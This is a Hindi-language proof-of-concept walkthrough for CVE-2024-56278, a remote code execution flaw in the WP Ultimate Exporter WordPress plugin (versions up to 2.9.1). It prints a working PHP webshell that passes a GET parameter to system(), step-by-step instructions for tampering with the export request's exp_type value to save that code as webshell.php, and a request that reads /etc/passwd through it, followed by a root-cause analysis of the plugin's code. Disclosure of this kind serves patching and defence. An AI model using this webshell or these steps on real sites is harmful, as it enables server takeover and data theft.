
CVE-2024-56278 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, WP Ultimate Exporter WordPress प्लगइन में एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता, जो PHP वेबशेल में फ़ाइल अपलोड का प्रदर्शन करता है।
वर्डप्रेस प्लगइन
घटक का नाम WP Ultimate Exporter
संवेदनशील संस्करण <= 2.9.1
घटक स्लग wp-ultimate-exporter
घटक लिंक https://wordpress.org/plugins/wp-ultimate-exporter/
भेद्यता वर्ग A4: असुरक्षित डिज़ाइन
भेद्यता प्रकार रिमोट कोड निष्पादन (RCE)
व्यवस्थापक
WP Ultimate Exporter प्लगइन WP Ultimate CSV Importer प्लगइन के लिए एक ऐडऑन है। यह प्लगइन आपको सभी पोस्ट, उत्पाद, ऑर्डर, रिफंड और उपयोगकर्ता डेटा को CSV, XLS, XML और JSON प्रारूपों में निर्यात करने की अनुमति देता है। निर्यात करते समय, फ़ाइलें अपलोड पथ में बनाई जाती हैं, और प्लगइन केवल उन फ़ाइलों की सामग्री उपयोगकर्ताओं को वितरित करता है।
WP Ultimate Exporter प्लगइन संस्करण 2.9.1 और उससे नीचे में, डेटा निर्यात का अनुरोध करते समय, यदि अनुरोध डेटा में फ़ाइल एक्सटेंशन PHP पर सेट किया गया है, तो अपलोड पथ में एक PHP फ़ाइल बनाई जाती है। इसलिए, यदि बनाई गई फ़ाइल की सामग्री में PHP सिंटैक्स होता है, तो रिमोट कोड निष्पादन (RCE) भेद्यता उत्पन्न होती है क्योंकि उस फ़ाइल तक पहुँचने पर PHP सिंटैक्स निष्पादित होता है।
⚠️ चूंकि 'WP Ultimate Exporter' प्लगइन 'WP Ultimate CSV Importer' प्लगइन के लिए एक ऐडऑन है, इसलिए दोनों प्लगइन्स को स्थापित करने की आवश्यकता है।
कोड एडिटर (शॉर्टकट कुंजी: ⇧ ⌥ ⌘ M) का उपयोग करके निम्नलिखित सामग्री के साथ एक नया पोस्ट बनाएं:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
WP Ultimate Exporter प्लगइन के 'Export' टैब पर नेविगेट करें। इसे WP Ultimate CSV Importer प्लगइन डैशबोर्ड (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu) में 'Export' टैब पर क्लिक करके एक्सेस किया जा सकता है।
अनुरोध पैकेट को इंटरसेप्ट करने के लिए एक प्रॉक्सी टूल (जैसे, BurpSuite) लॉन्च करें, और इंटरसेप्ट सक्षम के साथ निम्नलिखित चरणों के साथ आगे बढ़ें।
इसके बाद, 'Select the module to Export Data' से 'Posts' चुनें और अगले चरण पर आगे बढ़ें।

Export File Name 'webshell' दर्ज करेंAdvanced Settings 'CSV' चुनें
/wp-admin/admin-ajax.php URL पर एक POST विधि अनुरोध भेजा जाता है। अनुरोध डेटा में exp_type मान को csv से php में बदलें, फिर Forward पर क्लिक करें।
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd दर्ज करें ताकि वर्डप्रेस स्थापित सर्वर पर /etc/passwd फ़ाइल की सामग्री प्रदर्शित हो सके। यह RCE भेद्यता को प्रदर्शित करता है।
WP Ultimate Exporter प्लगइन में डेटा निर्यात करते समय, /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php फ़ाइल में parseData फ़ंक्शन को कॉल किया जाता है।
इस बिंदु पर, निर्यात डेटा प्रारूप निर्धारित करने वाले अनुरोध डेटा exp_type पर कोई फ़िल्टरिंग नहीं की जाती है, और मान सीधे सदस्य चर $this->exportType में डाला जाता है।

इसके बाद, डेटा को फ़ाइल में सहेजने के लिए proceedExport फ़ंक्शन को कॉल किया जाता है। इस बिंदु पर, फ़ाइल संग्रहण पथ निर्दिष्ट करने वाले चर $file को प्रारंभ करते समय, सदस्य चर $this->exportType का भी बिना किसी फ़िल्टरिंग के उपयोग किया जाता है।

इसके बाद, चर $file में संग्रहीत फ़ाइल पथ को file_put_contents फ़ंक्शन के तर्क के रूप में पारित किया जाता है, और इस बिंदु पर, फ़ाइल को अनुरोध डेटा exp_type में निर्दिष्ट एक्सटेंशन को सीधे लागू करके सहेजा जाता है।

इसलिए, जब वेब शेल कोड वाला पोस्ट डेटा PHP फ़ाइल के रूप में सहेजा जाता है और उस फ़ाइल तक पहुँचा जाता है, तो रिमोट कोड निष्पादन (RCE) भेद्यता उत्पन्न होती है क्योंकि PHP कोड निष्पादित हो जाता है।


फिर PoC कोड निष्पादित करने के लिए निम्नलिखित कमांड दर्ज करें।
आवश्यक मॉड्यूलrequests
python poc.py
